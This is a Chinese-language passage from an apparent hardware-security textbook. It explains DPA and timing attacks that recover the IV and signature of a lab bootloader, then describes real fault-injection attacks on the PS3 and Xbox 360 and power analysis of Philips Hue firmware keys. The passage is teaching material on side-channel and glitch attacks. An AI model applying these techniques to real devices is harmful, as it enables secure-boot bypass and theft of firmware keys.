你可以通过目视检查几个捕获的追踪数据来确认它们看起来是否与概览追踪相同,确认后你就可以开始分析。如果它们看起来不同,回去检查一下在捕获概览追踪和这些追踪数据之间发生了什么变化。

分析

现在我们已经有了一批追踪数据,我们可以执行经典的 DPA 攻击来恢复 IV 的单个比特。攻击 XOR 通常比攻击加密算法更困难,因为加密算法具有扩散和混淆特性:任何非线性都可以作为区分器帮助相关性。例如,在 AES 中,如果我们猜错了一个密钥字节的一个比特,那么 S-box 的一半输出比特会被猜错,追踪数据的相关性会大幅下降。而对于 XOR “密钥”——IV,如果我们猜错了一个比特,只有 XOR 输出中的一个比特会出错,因此追踪数据的相关性下降的幅度较小。因为我们正在攻击的是软件实现,所以我们可能不会遇到太大问题,因为它会有较高的泄漏。然而,当 XOR 在硬件中实现时,可能需要数亿到数十亿次追踪才能得到相关性。到那个时候,你可能想要逐渐脱离 Python 脚本了。

攻击理论

引导加载程序通过执行 XOR 操作将 IV 应用于 AES 解密结果,我们将其写为:

PT = DRIV

在这里,DR 是解密后的密文,IV 是秘密的初始向量,PT 是引导加载程序稍后将使用的明文,每个 128 位。由于我们已经知道 AES-256 密钥,我们可以计算 DR

这些信息足够让我们通过计算均值差来攻击单个 IV 比特:经典的 DPA 攻击(见第十章)。假设 DR[i] 是 DR 的第 i 位,假设我们想要获取 IV[i] 的第 i 位。我们可以做以下操作:

  1. 将所有的追踪数据分为两组:一组是 DR[i] = 0,另一组是 DR[i] = 1。

  2. 计算两个组的平均追踪数据。

  3. 计算两个组的均值差(DoM)。它应包含明显的脉冲,对应所有使用 DR[i] 的情况。

  4. 如果脉冲的方向相同,那么 IV[i] 比特是 0(PT[i]== DR[i])。如果脉冲的方向反转,那么 IV[i] 比特是 1(PT[i] == ~ DR[i])。

我们可以重复进行此攻击 128 次,以恢复整个 IV。

执行单比特攻击

让我们来看看尖峰的方向和位置,如果我们想提取所有 128 位,就必须定位它们。为了简化问题,我们现在只关注每个 IV 字节的最低有效位(LSB)。根据攻击理论,我们通过 AES 解密来计算DR,并计算每个字节的 LSB 的 DoM。最后,我们绘制这 16 个 DoM,看是否能发现正负尖峰(见图 12-9)。

f12009

图 12-9:对 IV 每个字节的一个比特进行 DPA 攻击

你应该能看到一些明显的正负尖峰,但很难确定哪些是 XOR 操作的一部分,哪些是“虚峰”。由于我们在 8 位微控制器上进行测量,XOR 是并行进行的,每次 8 位,并且在 XOR 操作周围有一个for循环,遍历所有 16 个字节,因此我们预期每个字节的峰值应该是均匀间隔的。我们可以在图 12-9 中看到一些,但我们需要做更多的工作来自动化提取所有 128 位。

我们将制作一个散点图,使我们能够找到每个 IV 字节泄漏的时间点。我们将按照以下方式设置:

  • 图中的每个标记代表一个泄漏位置。

  • x 坐标表示泄漏的字节。

  • y 坐标表示泄漏在时间中的位置。

  • 每个标记都有一个形状——星形表示正峰值,圆形表示负峰值。因此,这个形状表示 IV 比特是 1 还是 0。

  • 每个标记的大小表示峰值的大小。

  • 对于每个 x 坐标,都会有一些标记,表示该字节的最高峰值。

因为我们假设 IV 是以循环方式进行 XOR 操作,每次 8 位,所以 x 坐标和 y 坐标之间会有线性关系。一旦我们得到这个关系,我们可以利用它提取正确的峰值,从而获取比特。图 12-10 显示了结果。

f12010

图 12-10:散点图显示 DPA 峰值,帮助我们找到字节与跟踪中位置之间的线性关系

你可能会注意到有两种合理的方法可以通过这些点绘制一条线。我们选择的是那些峰值幅度最高的线。如果这证明是错误的,我们可以尝试第二条线,它稍微位于图 12-10 中黑线的上方。

我们的目标是提取所有 IV 位,我们可以利用 XOR 操作的时序规律来创建一个脚本来实现这一点。

其他 127

现在我们可以通过对每个比特重复进行 1 位概念性攻击来攻击整个 IV。完整的代码在笔记本中,但首先尝试自己完成。如果遇到困难,这里有一些提示来帮助你开始。

一种简单的遍历比特的方法是使用两个嵌套的循环,像这样:

for byte in range(16):
    for bit in range(8):
        # Attack bit number (byte*8 + bit)

需要查看的示例取决于你攻击的是哪个字节。请记住,字节中的所有 8 个比特是并行处理的,并且它们会出现在跟踪中的相同位置。当我们使用location = start + byte*slope来设置startslope的正确值时,我们成功了。

位移操作符和按位与操作符对于获取单个比特非常有用:

#This will either result in a 0 or a 1
checkIfBitSet = **(**byteToCheck >> bit**)** & 0x01

检查你的 IV 是否与我们这里的相匹配。如果不匹配,首先再次运行此脚本,并将flip变量设置为 1。根据你的目标和连接方式,峰值的极性可能会反转。你可以通过翻转所有找到的 IV 比特并重新尝试来轻松检查这一点。

攻击签名

我们可以对这个引导加载程序做的最后一件事就是攻击签名。本节展示了如何通过 SPA 攻击恢复签名的所有 4 个秘密字节。一种可能的替代方法是使用密钥解密固件加载过程中嗅探到的单个数据包,但那不涉及功率测量,因此不太适合在这里使用。

攻击理论

你可能已经注意到,在进行 XOR 操作的跟踪时,有一个微妙的区别,就是在大约 256 个跟踪中的 1 个中,XOR 后的操作稍微需要更长时间。这个效应可能是因为签名比较有一个提前终止的条件:如果第一个字节不正确,其余字节就不再检查。我们在第八章中已经研究过这种时序泄漏效应,并将在这里使用它来恢复秘密信息。

为了确保我们确实观察到了一个时序泄漏,我们可以通过发送 256 个通信数据包来验证这一点,每次保持密文不变,但将签名的第一个字节变化为从 0 到 255 的所有值。我们将观察到正好有一个数据包生成了更长的跟踪,这意味着我们“猜测”了签名字节正确。然后,我们可以对其他 3 个字节进行迭代,以创建数据包的签名。我们来验证一下我们的假设是否正确(在猜测签名时)。

电源跟踪

我们的捕获过程将与我们用来破解 IV 的过程非常相似,但现在我们知道了加密过程中的秘密值,因此可以通过加密我们发送的文本来做一些改进。这有两个重要的优势:

  • 我们可以控制解密签名的每个字节(如前所述,签名与明文一起加密发送),这使得我们能够对每个可能的值进行一次尝试。这也简化了分析,因为我们不必担心解密我们发送的文本。

  • 我们只需要重置目标一次。我们知道 IV,并且因为我们知道密钥和明文,我们可以正确地生成整个 CBC 链,这大大加快了捕获过程。

我们将运行循环 256 次(每次对应一个可能的字节值),并将该值分配给我们要检查的字节。笔记本中的next_sig_byte()函数实现了这一功能。我们不确定检查发生的具体位置,所以我们会比较保守,捕获 24,000 个样本。其他内容应该与实验的早期部分熟悉。

分析

在捕获了跟踪之后,实际的分析非常简单。我们寻找一个与其他 255 个完全不同的单一跟踪。找出这个跟踪的一个简单方法是将所有跟踪与参考跟踪进行比较。我们将所有跟踪的平均值作为参考。让我们首先绘制与参考跟踪差异最大的一些跟踪。根据你的目标,你可能会看到类似于图 12-11 的图表。

看起来有一个跟踪与平均值明显不同,因为它在其他跟踪后面产生了一个巨大的“带状”!然而,让我们通过统计学的方法来做。在guess_signature()中,我们使用相关系数:参考跟踪与待测试跟踪之间的相关性值越接近 0,它就越偏离均值。我们只希望对差异较大的部分进行相关性计算,因此我们选择了sign_range,即图表中有较大差异的子集。

接下来,我们计算并打印前五个跟踪与参考的相关性:

Correlation values: [0.55993054 0.998865 0.99907424 0.99908035 0.9990855 4]
Signature byte guess: [0 250 139 134 229]

f12011

图 12-11:跟踪与参考之间的差异;其中一个跟踪明显不同。

就相关性而言,某个跟踪与其他跟踪完全不同,相关性大大降低(相关性约为 0.560,而其他跟踪约为 0.999)。由于这个数字明显较低,它很可能是我们正确的猜测。第二个列表给出了与每个先前相关性匹配的签名猜测。因此,第一个数字就是我们对正确签名字节的最佳猜测(在此情况下为 0)。

所有四个字节

现在我们有了一个能够恢复 IV 单字节的算法,我们只需要对所有 4 个字节进行循环。基本上,我们将目标作为一个神谕,来猜测正确的签名字节,在最坏的情况下(4 × 256 = 1,024 个跟踪)和平均情况下(512 个跟踪)。笔记本实现了这个循环,并能够提取出秘密签名。

总的来说,我们现在能够伪造引导程序会接受的代码,并且通过使用各种功率分析攻击,我们也能够解密任何现有的代码。

偷看引导程序源代码

纯粹为了好玩,我们来看一下代码,看看能否弄明白我们找到的跟踪。引导程序的主循环执行了几个有趣的任务,如bootloader.c中的代码片段所示,重新创建的代码见列表 12-1。完整的引导程序代码可以通过笔记本顶部的链接找到。

 // Continue with decryption
  trigger_high();
  aes256_decrypt_ecb(&ctx, tmp32);
  trigger_low();

  // Apply IV (first 16 bytes)
1 for (i = 0; i < 16; i++){
      tmp32[i] ^= iv[i];
  }

  // Save IV for next time from original ciphertext
2 for (i = 0; i < 16; i++){
      iv[i] = tmp32[i+16];
  }

  // Tell the user that the CRC check was okay
3 putch(COMM_OK);
  putch(COMM_OK);

  // Check the signature
4 if ((tmp32[0] == SIGNATURE1) &&
     (tmp32[1] == SIGNATURE2) &&
     (tmp32[2] == SIGNATURE3) &&
     (tmp32[3] == SIGNATURE4)){

     // Delay to emulate a write to flash memory
     _delay_ms(1);
  }

列表 12-1:bootloader.c的一部分,显示了数据的解密与处理

这让我们对微控制器如何完成工作有了一个相当清晰的了解。接下来将使用来自列表 12-1 的 C 文件。

在解密过程之后,启动加载程序执行一些不同的代码:

  • 为了应用 IV,它在循环 1 中执行一个 XOR 操作。

  • 为了存储下一个块的 IV,它将先前的密文复制到 IV 数组 2 中。

  • 它通过串口发送 2 个字节 3。

  • 它逐一检查签名的字节 4。

我们应该能够在电源波形中识别出这些代码部分。例如,运行在 XMEGA 上的启动加载程序的电源波形如图 12-12 所示。

f12012

图 12-12:电源波形的视觉检查,已注释的已知指令(基于我们对代码的了解)

注释像图 12-12 这样的波形,首先要识别出最终的“空闲”模式。我们可以使用触发器来确认这一点,或者只是在不发送命令的情况下测量设备。然后,我们可以根据已知操作从后向前构建注释。了解代码中的主要循环会有所帮助,因为你通常可以在电源波形中数出这些循环。这些洞察可以来自代码,甚至只是基于对代码应如何编写的假设,前提是它实现了某个公共规范。在这个案例中,我们作弊了,直接使用了代码。

我们之前找到的峰值位置与我们根据电源波形注释所声称的 XOR 操作发生的位置在样本数上是对齐的。这表明我们正确地注释了电源波形。

签名检查的时序

C 中的签名检查如下所示:

if ((tmp32[0] == SIGNATURE1) &&
    (tmp32[1] == SIGNATURE2) &&
    (tmp32[2] == SIGNATURE3) &&
    (tmp32[3] == SIGNATURE4)){

在 C 中,编译器允许短路计算布尔表达式。当检查多个条件时,程序会在一旦确定最终值时停止评估其他条件。在这种情况下,除非所有四个等式检查都为真,否则结果将为假。因此,只要程序发现一个假的条件,它就可以停止评估其他条件。

要查看编译器如何处理此操作,我们需要查看汇编文件。打开为构建的二进制文件生成的.lss文件,它位于与启动加载程序代码相同的文件夹中。这就是所谓的列表文件,它让你看到 C 源代码编译并链接后的汇编代码。由于汇编代码提供了已执行指令的精确视图,因此可以更好地与波形进行对应。

接下来,找到签名检查并确认编译器使用了短路逻辑(这使我们的时序攻击成为可能)。你可以通过以下方式确认这一点。让我们以 STM32F3 芯片为例,在列表 12-2 中显示了汇编结果。

 //Check the signature
               if ((tmp32[0] == SIGNATURE1) &&
   8000338:   f89d 3018   ldrb.w  r3, [sp, #24]
   800033c:   2b00        cmp r3, #0
   800033e:   d1c2        bne.n   80002c6 <main+0x52>
   8000340:   f89d 2019   ldrb.w  r2, [sp, #25]
 1 8000344:   2aeb        cmp r2, #235    ; 0xeb
 2 8000346:   d1be        bne.n   80002c6 <main+0x52>
                   (tmp32[1] == SIGNATURE2) &&
   8000348:   f89d 201a   ldrb.w  r2, [sp, #26]
 3 800034c:   2a02        cmp r2, #2
 4 800034e:   d1ba        bne.n   80002c6 <main+0x52>
                   (tmp32[2] == SIGNATURE3) &&
   8000350:   f89d 201b   ldrb.w  r2, [sp, #27]
   8000354:   2a1d        cmp r2, #29
   8000356:   d1b6        bne.n   80002c6 <main+0x52>
                   (tmp32[3] == SIGNATURE4)){

列表 12-2:签名检查的列表文件示例

我们可以看到围绕签名的一系列四次比较。第一个字节被比较 1,如果比较失败,bne.n指令 2 会跳转到地址80002c6。这意味着我们看到的是短路操作,因为如果第一个字节不正确,只会进行一次比较。我们还可以看到,每个四个汇编代码块都包括一次比较和一个条件分支。所有四个条件分支(bne.n)都将程序返回到相同的位置,即地址80002c6。你可以看到第一个签名字节的比较 1 和条件跳转 2,与第二个签名字节的比较 3 和跳转 4 是相同的。如果我们打开地址80002c6处的反汇编代码,我们会看到跳转目标是80002c6,也就是while(1)循环的开始。所有四个分支必须失败“不相等”检查才能进入if块的主体。

另外请注意,代码的作者显然知道定时攻击,因为签名检查是在串行 I/O 完成后进行的。然而,要么他们没有意识到 SPA 攻击,要么他们故意为这次练习设置了 SPA 后门。我们永远无法知道真相。

总结

在本实验中,我们攻击了一个虚构的引导加载程序,该程序使用 AES-256 CBC 的软件实现,配合一个秘密密钥、秘密初始化向量(IV)和一个秘密签名来保护固件加载。我们在预先录制的跟踪数据上进行了实验,或者在 ChipWhisperer 硬件上进行。如果你足够勇敢,你也可以在你自己的目标和示波器硬件上进行。通过 CPA 攻击,我们恢复了秘密密钥;通过 DPA 攻击,我们恢复了初始化向量(IV);通过 SPA 攻击,我们恢复了签名。本练习涵盖了功耗分析的许多基础知识。在进行功耗分析时,一个重要的方面是,你可能需要经过很多步骤和决策才能到达你所追求的秘密,因此,尽量做出最好的猜测,并在每一步进行双重检查。

为了帮助你更好地理解什么是可能的,我们将在下一章介绍一些现实生活中的攻击示例。然而,在你积累旁路功耗分析经验的过程中,进行本章所描述的攻击可能是很有用的。我们可以完全访问引导加载程序的源代码,因此能够更好地理解复杂步骤,而不需要进行复杂的逆向工程过程。

使用开放示例来构建这种直觉是非常有价值的。许多实际的产品都是使用相同的引导加载程序(或者至少是相同的一般流程)构建的。特别值得一提的一个引导加载程序叫做“MCUBoot”(可以在github.com/mcu-tools/mcuboot/找到)。这个引导加载程序是开源的 Arm“受信固件-M”的基础,也是许多 MCU 中固件的一部分(例如,Cypress PSoC 64 设备,github.com/cypresssemiconductorco/mtb-example-psoc6-mcuboot-basic/)。

特定厂商的应用说明书是另一个有用的引导加载程序示例来源。几乎每个微控制器制造商都提供至少一个安全引导加载程序示例应用说明书。产品设计师直接使用这些示例应用说明书的可能性非常高,因此如果你正在使用某款微控制器的产品,检查该微控制器厂商是否提供了示例引导加载程序是非常有用的。实际上,本章中的引导加载程序大致基于 Microchip 的应用说明书 AN2462(原 Atmel 应用说明书 AVR231)。你可以在 TI(“CryptoBSL”)、Silicon Labs(“AN0060”)和 NXP(“AN4605”)等厂商找到类似的 AES 引导加载程序。任何这些示例都可以作为锻炼你功耗分析技能的好练习。

第十三章:不开玩笑:现实生活中的例子

你已经学习了嵌入式系统,并且了解了嵌入式攻击。你可能仍然觉得缺少有关真实系统的实际攻击细节。本章将帮助弥补实验室示例与现实生活之间的差距,我们将提供故障注入和电源分析攻击的例子。

故障注入攻击

故障注入攻击可能是(公开的)真实世界攻击中使用最多的攻击手段(相较于电源分析)。你可能听说过的两个高调例子是攻击索尼 PlayStation 的虚拟机和通过“重置漏洞”攻击 Xbox 360。游戏系统是有趣的攻击目标,因为它们通常拥有一些最强的消费者级别设备安全性。在这些 PlayStation 和 Xbox 360 攻击发生的同一时间段,其他大多数消费电子产品(如路由器和电视)都没有启动签名,且无需高级攻击就能被利用。如果你想看看设备安全如何改进,还可以探索其他攻击细节,比如任天堂 Switch 的攻击等。

PlayStation 3 虚拟机

游戏主机始终是攻击的目标,因为有一群有动机的用户希望攻击它们。玩家可能想运行盗版游戏,可能有兴趣修改游戏本身(或者在游戏中作弊),或者他们可能希望在一个相对广泛可用且强大的平台上运行自定义代码。尤其是在索尼 PlayStation 3 的情况下,它采用了独特的 Cell 微处理器,能够很好地支持多任务处理。虽然现在你可能计划将一个算法直接放到你的图形处理单元(GPU)上,但 GPU 计算领域在当时并不像现在这么容易接触;例如,CUDA 在 2007 年 6 月发布,OpenCL 在 2008 年 8 月发布,但 PlayStation 3 主机集群早在 2007 年 1 月就已经开始测试。

PlayStation 支持直接运行 Linux。Linux 本身在 PlayStation 虚拟机的控制下运行,虚拟机阻止了用户访问任何不当的内容(例如安全密钥存储)。有效地攻击 PlayStation 意味着要找到绕过虚拟机的方法,只有这样才能深入系统的其他部分,恢复关键的机密信息。在最初的 PlayStation 3 破解工作完成后,索尼宣布未来的 PlayStation 更新将不再支持运行 Linux,因为存在安全风险。这一宣布间接激励了黑客进一步攻破 PlayStation 3,因为在更新后的 PlayStation 3 上运行 Linux 现在需要成功的攻击。

这是什么攻击?我们实际上将专注于“初步工作”,这项工作得益于乔治·霍兹(George Hotz,GeoHot),并不是最终的 PlayStation 漏洞,但它仍然是一个著名的攻击,因此作为故障攻击的一个例子值得了解。

为了理解这个攻击,我们首先需要了解一些关于 Linux 内核如何访问内存的细节。为此,Linux 内核请求虚拟机监控器分配一个内存缓冲区。虚拟机监控器按要求分配了该缓冲区。内核还请求在哈希表(HTAB)页索引中创建多个引用,因此该内存块有多个引用。你可以在图 13-1 的步骤 1 中看到此时内存的抽象视图。

f13001

图 13-1:PS3 攻陷的五个步骤

图 13-1 展示了攻击过程中内存内容的抽象视图。HTAB 是“句柄”,它让内核访问特定的内存范围,如箭头所示。灰色单元格仅对虚拟机监控器可见,而白色单元格对内核可见。

回到攻击部分。到目前为止,一切都很好且安全。内核对一块内存具有读写权限,但虚拟机监控器(hypervisor)非常清楚这块内存,并确保不会发生越界读写。当我们请求虚拟机监控器通过关闭在图 13-1 步骤 1 中通过 HTAB 所做的所有引用来释放内存时,攻击便开始了。在此时,我们在 PS3 内存总线上插入一个故障,目的是使某个释放操作失败。稍后我们会解释为什么这很重要,但现在请注意,攻击之所以有效,是因为释放操作从未被“验证”。如果指向我们应该释放的硬件内存的指针被破坏,虚拟机监控器将无法察觉这一点。

物理故障来自于一个插入到内存数据总线上的逻辑级信号(即 DQx 引脚)。最初的演示使用了一个现场可编程门阵列(FPGA)板来生成一个短脉冲(约 40ns),但后来复现此攻击的人也使用微控制器生成类似的脉冲(在 40 到 300ns 的范围内)。由于许多释放操作被强制执行,故障可以通过手动触发。具体的时序并不需要,因为只要有一个释放操作失败就足够。

这让我们进入图 13-1 的第二步:内核可以访问一块内存,而这块内存实际上在 HTAB 中并没有被作废。虚拟机监控器对此并不知情,因为它认为它已经安全地释放了内存并移除了所有引用。

攻击的最后阶段是生成一个新的虚拟内存空间,该空间与内核可以读写的内存块重叠。这个虚拟内存空间还将包括该虚拟空间内的页面映射的 HTAB,但如果我们幸运的话,该 HTAB 将位于我们可以读写的内存块中,如图 13-1 中步骤 3 所示。如果我们可以写入 HTAB,这意味着我们可以将内存页映射到我们的空间中,这通常只有超监视器能够执行。这样可以绕过大多数保护机制,因为内存页看起来是通过有效的 HTAB 传递的,而且内核本身正在读写它允许访问的内存地址。

实现完全读写访问的最后一步是重新映射原始 HTAB,以便我们可以直接对这个表进行读写,如图 13-1 中步骤 4 所示。通过切换回原始内存空间(而不是为攻击创建的虚拟内存空间),我们现在可以写入主 HTAB,从而将任意内存页映射到我们的缓冲区中。由于我们对这个缓冲区拥有读写访问权限,我们可以获得对任何内存位置的读写访问权限,包括超监视器代码本身,如图 13-1 中步骤 5 所示。

漏洞的产生是因为超监视器与 HTAB 状态脱耦,因此它无法意识到内核仍然拥有对新创建的虚拟内存空间的读写访问权限。这个漏洞也受到超监视器允许内核通过标准 API 调用发现该初始缓冲区的实际内存地址的帮助(这在创建虚拟内存空间时有助于获取 HTAB 重叠)。

如果你对更多细节感兴趣,你可以找到 Hotz 发布的原始代码镜像。由于诉讼,Hotz 停止了对 Sony 产品的进一步工作。你还可以找到 xorloser 发布的一系列博客文章,其中包括原始细节和一些更新版本的攻击工具(称为 XorHack)。这些博客文章提供了完整的攻击示例,如果你想了解详细的技术内容,可以参考。

结论是,在故障攻击中,可以使用多种方法来施加故障。例如,攻击不局限于电压、时钟、电磁(EM)和光学故障注入方法。在这种情况下,内存总线本身出现故障,这可能比尝试在复杂设备的电源上注入故障更容易成为目标。故障注入设备可以是一个简单的微控制器,甚至可以使用 Arduino 来脉冲相应的内存总线引脚。

另一个结论是巧妙的目标准备使得攻击更加轻松。尽管攻击可以通过精确的时序来故障单个 HTAB 条目,但同时修改大量条目要容易得多。这样做可以在故障注入时使用较为宽松的时序,因为该攻击设计成只需少量的成功即可完成。

Xbox 360

Xbox 360 是另一个成功被故障注入攻击的游戏主机。这项工作主要归功于 GliGli 和 Tiros,之前的逆向工程工作由不同的用户完成(有关 Reset Glitch Hack 的完整致谢请参见 github.com/Free60Project,有关详细硬件信息请参见 github.com/gligli/tools/tree/master/reset_glitch_hack)。图 13-2 显示了攻击步骤的高层次概览。

Xbox 360 有一个基于 ROM 的第一阶段引导加载程序(1BL),它加载存储在 NAND 闪存中的第二阶段引导加载程序(2BL,也称为 Xbox 上的 CB)。1BL 在加载 2BL 之前验证 2BL 的 RSA 签名。最后,2BL 加载一个名为 CD 的块,其中包含虚拟机监控器和内核——基本上意味着我们最好加载我们自己的 CD 块,这样我们就不需要利用虚拟机监控器,因为我们将完全运行我们自己的代码。

2BL 块将在运行此代码之前验证 CD 块的预期 SHA-1 哈希。由于 2BL 块已通过 RSA 签名进行检查,我们无法在不被检测到的情况下修改 2BL 块期望的 CD 块 SHA-1 哈希。如果我们有一个 SHA-1 哈希碰撞,我们可以加载我们自己的(意外的)代码,但有一种更简单的方法可以继续。

SHA-1 将会在 CD 代码上计算,并与类似 memcmp() 的方法进行比较。我们知道这类操作容易受到故障攻击,因此我们可以考虑在此时插入一个故障。

为了简化时序,使用了 Xbox 360 的一些硬件特性。特别是,主中央处理单元(CPU)有一个暴露的引脚,可以用来绕过相位锁定环(PLL)。结果是,CPU 以更慢的速度运行,只有 520 kHz。这个引脚在示例中被标记为 CPU_PLL_BYPASS,但请记住,这些引脚名称并非基于公开文档,如数据手册。这个引脚实际上可能是 PLL 的反馈回路,但将其接地的效果与启用 PLL 绕过是一样的。

f13002

图 13-2:成功故障攻击 Xbox 360 "fat" 版本的序列

现在,CPU 以更慢的速度运行,更容易微调故障注入时序。在这种情况下,故障注入方法是在 CPU 的重置线上的短暂冲击。这个故障不会重置系统,而是导致 SHA-1 比较报告成功的比较,即使 SHA-1 哈希不匹配。

如果重置线故障无法成功,可能需要尝试其他途径,例如电压或电磁故障注入,可能会成功。但像 PlayStation 攻击一样,目标是开发非常简单的工具,使得攻击易于复制。将简单的逻辑电平信号发送到重置引脚是可以通过复杂的可编程逻辑设备(CPLD)、现场可编程门阵列(FPGA)或微控制器来完成的。

而这些改装芯片正是这样做的。这些芯片将故障漏洞“武器化”。它们利用电源自检(POST)系统的细节,该系统报告启动进度。通过接入 POST 报告,几乎可以准确知道何时触发慢时钟操作,然后注入重置故障。像所有故障攻击一样,重置故障不会有完美的成功率。如果故障不成功,改装芯片会检测到并正确重置系统,然后重新尝试。这个过程通常可以在 30 到 60 秒内加载不安全的二进制文件。

再次说明,巧妙的准备将一个相对复杂的目标转变为可以用基础电子设备攻击的目标。在这种情况下,目标被大大减速,而不是强迫发生大量易受攻击的操作。硬件的后续版本没有相同的测试点,而是暴露了 I2C 总线上的时钟发生器。通过接入 I2C 总线,攻击者可以以类似的效果减慢主 CPU 的速度。

对时钟频率进行外部控制可能是可行的,即使对于复杂的目标也是如此。例如,一个目标可能使用相位锁定环(PLL)来倍频一个晶体频率;将 12 MHz 的晶体替换为 1 MHz 的振荡器可能使主 CPU 以 66.7 MHz 的频率运行,而不是目标的 800 MHz。然而,这是否成功远远不确定。PLL 和振荡器本身有其限制(可能无法以如此慢的速度工作),外部部件如 DRAM 也有上下频率限制(DRAM 芯片有最小和最大刷新时间),而 CPU 可能会检测到频率偏差并自动关机以防止攻击。

Xbox 360 重置故障表明,花时间“探索”目标可能有助于发现可以大规模利用的漏洞。在这种情况下,达成可靠的故障攻击结合了几个单独的观察,这些观察本身可能并不是一个显而易见的攻击途径:启动阶段对观察者是实时已知的;CPU 上的一个引脚可以以更慢的速度运行,并且在重置引脚上的短暂故障(至少在运行非常慢时)不会正确重置芯片,而是插入故障。

电源分析攻击

前一节中展示的故障注入攻击被用来获取超出安全架构原本许可的临时权限(例如,允许加载未签名的固件)。虽然故障注入可以通过内存转储或通过差分故障分析泄露密钥,但它通常是为了获得权限,从而继续攻击。相比之下,功率分析几乎完全关注于揭示敏感信息,例如加密密钥。区别在于,成功的功率分析攻击可能为你提供“王国的钥匙”。这些密钥可能使得难以区分攻击者和合法的所有者或操作员,并且它们可能允许在没有进一步硬件攻击的情况下进行规模扩展。

飞利浦 Hue 攻击

飞利浦 Hue 灯泡是智能灯具,允许所有者远程控制各种设置。这些灯具通过 Zigbee Light Link (ZLL) 进行通信,该协议运行在一个非常受限的无线网络协议(IEEE 802.15.4)上。这里我们展示了“物联网走向核爆:创建 ZigBee 链式反应”(Eyal Ronen 等人)的部分内容。该研究详细说明了如何恢复飞利浦 Hue 固件的加密密钥。在发现一个漏洞后,作者还成功绕过了这些灯泡通常用来防止它们被距离超过 1 米的攻击者从网络中断开的“接近性测试”。这个漏洞和接近性测试绕过使得攻击者能够创建一个蠕虫程序,在完整的 Zigbee 范围内(30-400 米,取决于条件)使受害者灯泡从网络中断开,并远程安装蠕虫固件,之后已感染的灯泡开始攻击其他灯泡。通过功率分析,攻击者能够破坏(全球)固件的加密和签名密钥。

ZLL 是 Zigbee 的一个特定版本(与常规 Zigbee 或 Zigbee 家庭自动化不同),它像 Zigbee 一样,使用一种称为 IEEE 802.15.4 的低功耗无线协议。ZLL 有一个简单的方法,允许新设备(比如你刚购买的灯泡)加入网络。

这个加入过程依赖于一个固定的主密钥,将唯一的网络密钥传递给新灯泡,设备将连接到一个具有唯一密钥的网络。一旦唯一密钥被传递,网络中不再使用共享的主密钥,因为主密钥始终有泄露的风险。网络所有者需要将网络置于允许新设备加入的模式,这样新设备无法在没有所有者知情的情况下被添加。然而,这个解释并没有描述我们如何解决替换已经故障的桥接器,或者用户需要将灯泡从一个网络移到另一个网络的问题。

绕过接近性检查

对于需要更改唯一网络密钥的场景,我们进入了第二部分,一个特殊的“恢复出厂设置”消息,它允许某人将灯泡从现有网络中去认证,以便它现在可以加入不同的网络。要执行这一步,你需要物理接近(大约 1 米范围)。ZLL 主密钥(正如你可能预料的那样)被泄漏了,这意味着任何人都可以发送这些消息。

接近性检查通常通过拒绝信号强度低于某个值的消息来完成。尽管可以使用高功率无线电发射器伪造无线电距离并从更远的范围重置设备,但这样做并不是“蠕虫式”的,因为 Hue 的发射器本身的功率不足够强大。一个“蠕虫式”的解决方案通过固件漏洞和一些兼容性要求出现了。首先,发送一个精心设计的“恢复出厂设置”消息给受害者。这个消息的设计目的是利用固件漏洞,从而绕过接近性测试。工厂重置后,受害者会主动开始搜索 Zigbee 网络。详细内容在论文中,本文重点介绍攻击的功率分析部分。

Hue 上的固件更新

现在我们已经进入了一个阶段,在这个阶段,一个设备可以被强制加入一个新的、由攻击者控制的网络,此时你可以发送固件更新请求。真正的问题是,固件更新文件的实际格式是什么,我们该如何自己发送一个固件更新文件?在这个阶段,我们将重置你对攻击设置的理解,并返回到一个合法的飞利浦 Hue 灯泡。

飞利浦 Hue 灯泡具备执行固件更新的能力。通过标准的逆向工程技术,以及仅仅查看作为参考设计一部分的 Zigbee 空中下载(OTA)更新机制的示例实现,我们可以了解其工作原理。当灯泡需要固件更新时,它从桥接设备(之前从远程服务器下载的)下载文件到外部 SPI 闪存芯片中。实际的 OTA 下载可能需要一些时间(通常至少需要一个小时),因为每个数据包中发送的只是小量数据。如果网络处于繁忙的无线环境中,或者灯泡处于无线电范围的边缘,这段时间可能会大大延长。

我们可以不直接尝试从这个慢速 OTA 接口嗅探更新,而是查看 SPI 芯片的情况,这可以为我们提供一个“更新就绪”的 SPI 闪存镜像。如果我们想触发给定灯泡的更新,我们只需要将这个 SPI 镜像写入 SPI 闪存芯片,灯泡就会执行实际的自我重编程。这个编程过程由 SPI 闪存镜像中的一个字节触发,该字节指示灯泡准备好进行更新。启动时,灯泡会检查这个字节的值,并在必要时触发编程。这个编程机制也意味着,如果你在重编程阶段通过关闭灯泡电源来中断过程,下次启动时,灯泡会自动重新启动并继续重编程步骤。

通过功率分析获取固件密钥

AES-CCM 用于加密和验证固件文件(AES-CCM 的规范可以在 IETF RFC 3610 中找到),因此我们不能简单地上传任何伪造的映像。我们首先需要提取密钥。为此,SPI 闪存芯片成为我们加密算法的“输入”,我们可以通过功率分析破解它。在这种情况下,CCM 使得事情比你最初猜测的要复杂一些。我们不再有每个加密模式的直接输入,因为 AES-CCM 使用了 AES-CTR 模式与 AES-CBC 一起使用。图 13-3 提供了一个不完整的 CCM 概述,只关注我们攻击所需要的部分。

AES 块的最上一行是 AES 在 CTR 模式下:一个递增的计数器被加密以获得 128 位的流密码块(CTR[m], 8)。这用于通过简单的 XOR 操作解密密文(9)。为了创建身份验证标签,AES 块的最下一行密文被 XOR 到下一个块的输入(3, 5),这构成了密码块链接(CBC[m], 2, 4)。我们省略了一些关于身份验证标签是如何精确计算的细节,但这些对攻击来说并不重要。

f13003

图 13-3:攻击中需要了解的所有 AES-CCM 信息

我们如何通过功率分析攻击 CCM?直接攻击 AES-CTR 不行,因为我们不知道输入(7,因为 IV 是未知的),也不知道输出,因为那是密码流,永远无法访问(8)。在 AES-CBC 中,我们也无法执行普通的 CPA;输入是解密后的固件(9,我们不知道),AES-CBC 的输出(2, 4)也永远无法访问。不过,Ronen 等人描述了如何进行巧妙的密钥变换(就像我们在第十二章中做的那样),从而能够从 AES-CBC 中获得密钥(1)。

让我们从最上面开始,先看密文 CT。我们将其分割成 128 位的块,CT[m],其中 m 是块的索引。AES-CTR 解密是一种流密码,我们将流(8)写作 CTR[m] = AES(k, IV[ctr] || m),其中 || 表示位的连接,所以我们可以将从中得到的 PT(9)写作 PT[m] = CT[m] ⊕ CTR[m]。

CCM 中的 IV[ctr] 由几个字段组成,但基本上此时对我们来说最大的未知数是 nonce。为了简化,我们暂时可以说我们不知道 IV[ctr](暂时如此)。

